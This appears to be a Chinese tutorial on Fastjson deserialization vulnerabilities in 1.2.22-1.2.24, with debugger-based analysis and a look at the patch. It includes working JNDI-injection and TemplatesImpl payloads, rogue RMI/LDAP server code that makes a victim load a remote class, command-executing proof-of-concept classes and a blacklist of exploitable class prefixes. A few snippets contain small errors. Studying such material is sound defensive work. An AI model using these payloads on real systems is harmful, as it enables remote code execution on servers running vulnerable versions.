Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

序列化

Student.java

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

然后通过Ser.java进行序列化

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("ghtwf01");
        student.setAge(80);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

1.png

没加SerializerFeature.WriteClassName

2.png

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。

看下面几种反序列化方法

3.png

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

4.png

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

import java.io.IOException;

public class Student {
    private String name;
    private int age;
    private String sex;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

Unser.java

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        //System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
    }
}

5.png

Fastjson反序列化流程分析

在parseObject处下断点,跟进

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

第一行将json字符串转化成对象,跟进parse

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

继续跟进

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

int ch = lexer.getCurrent();        if (ch == '{') {            lexer.next();            ((JSONLexerBase)lexer).token = 12;        } else if (ch == '[') {            lexer.next();            ((JSONLexerBase)lexer).token = 14;        } else {            lexer.nextToken();        }

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法

因为之前设置了token值为12,所以进入如下判断

case 12:            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));            return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {                        ref = lexer.scanSymbol(this.symbolTable, '"');                        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());                        if (clazz != null) {                            lexer.nextToken(16);                            if (lexer.token() != 13) {                                this.setResolveStatus(2);                                if (this.context != null && !(fieldName instanceof Integer)) {                                    this.popContext();                                }                                if (object.size() > 0) {                                    instance = TypeUtils.cast(object, clazz, this.config);                                    this.parseObject(instance);                                    thisObj = instance;                                    return thisObj;                                }

这里会通过scanSymbol获取到@type指定类

15.png

然后通过 TypeUtils.loadClass 方法加载Class

8.png

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

9.png

接着创建了ObjectDeserializer类并调用了deserialze方法

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);thisObj = deserializer.deserialze(this, clazz, fieldName);return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread

10.png

到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

public class JNDIServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("Exloit",                "badClassName","http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit",referenceWrapper);    }}

远程恶意类badClassName.class

public class badClassName {    static{        try{            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");        }catch(Exception e){            ;        }    }}

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;public class JNDIClient {    public static void main(String[] argv){        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";        JSON.parse(payload);    }}

6.png

LDAP+JNDI

POC和上面一样,就是改了一下url,因为是ldap了

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java

这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LDAPServer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main (String[] args) {        String url = "http://127.0.0.1:8888/#badClassName";        int port = 1389;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen",                    InetAddress.getByName("0.0.0.0"),                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        /**         *         */        public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }        /**         * {@inheritDoc}         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)         */        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "Exploit");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference");            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

LDAPClient.java

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient {    public static void main(String[] args) throws Exception{        try {            Context context = new InitialContext();            context.lookup("ldap://127.0.0.1:1389/badClassName");        }        catch (NamingException e) {            e.printStackTrace();        }    }}

恶意远程类和上面一样

7.png

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

11.png

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

12.png

跟进connect方法

13.png

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

connect:643, JdbcRowSetImpl (com.sun.rowset)setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:606, Method (java.lang.reflect)setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)parse:137, JSON (com.alibaba.fastjson)parse:128, JSON (com.alibaba.fastjson)main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TEMPOC extends AbstractTranslet {    public TEMPOC() throws IOException {        Runtime.getRuntime().exec("open -a Calculator");    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        TEMPOC t = new TEMPOC();    }}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

import base64fin = open(r"TEMPOC.class","rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% foutprint poc

14.png

POC如下

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

16.png

跟进parseField方法,对_bytecodes对应的内容进行解析

17.png

跟进FieldDeserializer#parseField方法

18.png

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

19.png

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

20.png

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

21.png

跟进TemplatesImpl#getOutputProperties

22.png

跟进newTransformer方法

23.png

跟进getTransletInstance方法

24.png

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

25.png

进而执行TEMPOC类的构造方法

26.png

所以就执行了任意代码,整个调用栈如下

<init>:13, TEMPOCnewInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)parse:137, JSON (com.alibaba.fastjson)parse:193, JSON (com.alibaba.fastjson)parseObject:197, JSON (com.alibaba.fastjson)main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例,现在我们跟进这个方法看一看

27.png

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

上面说了通过FieldDeserializer#parseField对_bytecodes对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的

28.png

跟进deserialze方法

29.png

跟进parseArray方法

30.png

跟进ObjectDeserializer#deserializer方法

31.png

跟进byteValue方法

32.png

_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错

33.png

补丁分析

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

34.png

使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

参考文档

https://paper.seebug.org/994/

http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://yoga7xm.top/2019/07/20/fastjson/